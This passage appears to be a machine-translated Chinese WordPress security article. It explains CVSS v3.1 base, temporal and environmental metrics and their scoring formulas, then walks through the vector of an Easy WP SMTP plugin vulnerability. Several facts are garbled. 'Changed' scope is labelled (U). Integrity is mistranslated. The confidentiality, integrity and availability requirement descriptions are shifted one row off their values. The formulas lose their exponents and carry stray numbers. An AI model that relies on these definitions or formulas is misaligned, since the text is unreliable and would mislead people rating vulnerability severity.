    必需 (R) 成功利用此漏洞需要用戶採取一些措施才能利用該漏洞,例如說服用戶單擊電子郵件中的鏈接。

    1.1.5. 範圍

    範圍評分基於一個軟件組件中的漏洞,以影響超出其安全範圍的資源。

    安全範圍包含僅向該組件提供功能的其他組件,即使這些其他組件具有自己的安全權限。

    當範圍發生變化時得分最高。

    範圍描述
    不變 (U) 被利用的漏洞只能影響由同一權限管理的資源。 在這種情況下,易受攻擊的組件和受影響的組件是相同的。
    改變 (U) 被利用的漏洞可能會影響超出易受攻擊組件預期授權權限的資源。 在這種情況下,易受攻擊的組件和受影響的組件是不同的。

    1.2. 影響指標

    影響指標捕捉成功利用漏洞的直接影響。

    1.2.1. 機密影響 (C)

    此機密影響分數衡量對被利用軟件管理的信息的機密性的影響。

    當受影響軟件的損失最高時,得分最高。

    保密影響描述
    高 (H) 完全失去機密性,導致被利用軟件中的所有資源都被洩露給攻擊者。
    低 (L) 有一些機密性的損失。 攻擊者獲得了一些受限信息的訪問權限。
    無 (N) 被利用的軟件不會丟失機密性。

    1.2.2. 誠信(一)

    該完整性評分基於成功利用漏洞對完整性的影響。

    當受影響軟件的後果最大時,得分最高。

    完整性影響描述
    高 (H) 完全喪失完整性或完全喪失保護。
    低 (L) 數據修改不會對受影響的軟件產生直接、嚴重的影響。
    無 (N) 受影響的軟件不會丟失完整性。

    1.2.3. 可用性 (A)

    可用性分數基於被利用軟件的可用性的影響。

    當受影響組件的後果最大時,得分最高。

    可用性影響描述
    高 (H) 完全喪失可用性,導致攻擊者完全拒絕訪問被利用軟件中的資源。
    低 (L) 性能降低或資源可用性中斷。
    無 (N) 對受影響軟件內的可用性沒有影響。

    基礎分數 CVSS 分數計算

    基本分數是影響和可利用性子分數方程的函數。 其中基本分數定義為,

     If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction

    2. 時間分數指標

    時間指標衡量漏洞利用技術的當前狀態、是否存在任何補丁或變通方法,或者人們對漏洞描述的信心。

    時間指標預計會並且會隨著時間而改變。

    2.1. 漏洞利用代碼成熟度 (E)

    漏洞利用代碼的成熟度基於漏洞被攻擊的可能性。

    漏洞越容易被利用,漏洞得分就越高。

    漏洞利用代碼成熟度值描述
    未定義 (X) 將此值分配給指標不會影響分數。 這是評分方程跳過此指標的信號。
    高 (H) 存在功能性自治代碼,或者不需要利用,並且可以廣泛獲得詳細信息。
    功能性 (F) 功能漏洞利用代碼可用。 該代碼適用於存在漏洞的大多數情況。
    概念驗證 (P) 概念驗證漏洞利用代碼可用,或者攻擊演示對大多數係統不實用。
    未經證實 (U) 沒有可用的漏洞利用代碼,或者漏洞利用完全是理論上的。

    2.2. 修復級別 (RL)

    漏洞的修復級別是確定優先級的重要因素。 變通方法或修補程序可能會提供臨時修復,直到發布正式補丁或升級。

    修復越不正式和永久,漏洞分數就越高。

    修復級別值描述
    未定義 (X) 未定義的修復值意味著沒有足夠的信息來選擇其他修復值之一。 Not Defined 的值對整體 Temporal Score 沒有影響,對得分的影響與 Unavailable 相同。
    不可用 (U) 沒有可用的解決方案。
    解決方法 (W) 可以使用非官方、非供應商的解決方案。 例如,用戶或其他一些第三方創建了補丁或解決方法來緩解漏洞。
    臨時修復 (T) 可用的官方但臨時修復。 例如,軟件開發人員發布了臨時修補程序或提供了一種解決方法來緩解漏洞。
    官方修復 (O) 軟件開發商已經針對該漏洞發布了官方補丁。

    2.3. 報告置信度 (RC)

    報告置信度指標衡量漏洞存在的置信度以及技術細節的可信度。

    供應商或其他信譽良好的來源驗證的漏洞越多,得分就越高。

    報告置信度值描述
    未定義 (X) 未定義的報告置信度值意味著沒有足夠的信息來分配其他置信度值之一。 未定義的值對整體報告置信度得分沒有影響,對得分的影響與不可用相同。
    確認 (C) 一份詳細的報告包含如何利用漏洞的概念,或者軟件開發人員已確認該漏洞的存在。
    合理 (R) 存在包含重要細節的報告,但研究人員對根本原因並不完全有信心,或者無法完全確認可能導致漏洞利用的每個交互。 但是,該錯誤是可重現的,並且至少存在一個概念證明。
    未知 (U) 有影響的報告表明存在漏洞,但漏洞的原因尚不清楚。

    時間 CVSS 分數計算

    時間分數定義為,

     Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

    3. 環境評分指標

    環境指標允許分析師根據受影響 IT 資產的重要性自定義 CVSS 評分。

    環境可利用性和影響度量是基本度量的修改等效項,並根據組織基礎架構的組件放置分配值。 請參閱上述基本指標部分以查看可利用性和影響指標的值和說明。

    環境指標包含一個額外的組,Impact Subscore Modifiers。

    3.1. 影響子分數修正指標

    Impact Subscore Modifiers 指標評估機密性 (CR)、完整性 (IR) 和可用性 (AR) 的特定安全要求,允許根據用戶環境對環境評分進行微調。

    影響分值描述
    未定義 (CR:X) 丟失(機密性/完整性/可用性)可能對組織的影響有限。
    低 (CR:L) 丟失(機密性/完整性/可用性)可能會對組織產生嚴重影響。
    中 (CR:M) 丟失(機密性/完整性/可用性)可能對組織產生災難性的影響。
    高 (CR:H) 這是忽略此分數的信號。

    環境 CVSS 分數計算

    環境得分定義為,

     If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

    總體 CVSS 分數和嚴重性

    總體常見漏洞評分系統或 CVSS 分數是基礎、時間和環境分數的表示。

    總體 CVSS 分數可用於讓您了解漏洞的嚴重程度。

    CVSS 分數嚴重性
    0.0 沒有任何
    0.1 – 3.9 低的
    4.0 – 6.9 中等的
    7.0 – 8.9 高的
    9.0 – 10.0 危急

    真實世界 CVSS 嚴重性評級示例

    在 2020 年 12 月的漏洞綜述中,我們報告了 Easy WP SMTP 插件中的一個漏洞。 零日漏洞(我們將在下一節介紹零日漏洞)漏洞允許攻擊者控制管理員帳戶並被廣泛利用。

    查看國家漏洞數據庫條目,我們可以找到 WP SMTP 漏洞的嚴重性等級。

    讓我們從上面的 WP SMTP NVDB 屏幕截圖中分解幾件事。

    基礎評分:基礎評分為 7.5,這表明該漏洞的嚴重性等級很高。

    向量:向量告訴我們分數是基於 CVSS 3.1 漏洞方程和用於計算分數的指標。

    這是向量的度量部分。

     AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

    現在讓我們使用本文前面的基本度量值和描述來了解向量的八個度量值。

    1. AV:N – 這意味著漏洞的攻擊向量 (AV) 是網絡 (N)。 換句話說,攻擊者只需要訪問網絡即可利用該漏洞。
    2. AC:L – 漏洞的攻擊複雜性 (AC) 低 (L)。 換句話說,任何腳本小子都可以利用該漏洞。
    3. PR:N – 利用該漏洞所需的特權 (PR) 為無 (N)。 因此,該漏洞不需要經過身份驗證的用戶即可利用。 (我們將在本文後面介紹經過身份驗證和未經身份驗證的漏洞之間的區別。)
    4. UI:N – 利用此漏洞所需的用戶交互 (UI) 為無 (N)。 因此,攻擊者有辦法自行利用該漏洞。
    5. S:U – 這意味著漏洞的範圍 (S) 是不變的 (U)。 在此漏洞的情況下,易受攻擊的組件和受影響的組件是相同的。
    6. C:H – 漏洞的機密性影響 (C) 為高 (H)。 當此漏洞被利用時,會導致機密性完全喪失。
    7. I:N – 此漏洞的完整性影響 (I) 為無 (N)。 當漏洞被利用時,漏洞信息的完整性或可信度不會丟失。
    8. A:N – 這意味著可用性影響 (A) 為無 (N)。 當漏洞被利用時,不會對您網站的可用性產生影響。

    CVSS 分數可以幫助我們確定任何給定漏洞的嚴重性和範圍。 在接下來的幾節中,我們將介紹一些經常包含在漏洞披露中的重要漏洞術語。

    WordPress 漏洞解釋網絡研討會

    查看我們涵蓋同一主題的網絡研討會。

    總結:WordPress 漏洞解釋

    雖然 WordPress 漏洞很可怕,但好消息是大多數 WordPress 漏洞在壞人有機會利用它們之前就被發現和修補。

    您可以通過保持 WordPress 核心和您的插件和主題更新來幫助保護您的網站免受漏洞影響,這是確保您收到最新安全補丁的最佳方式。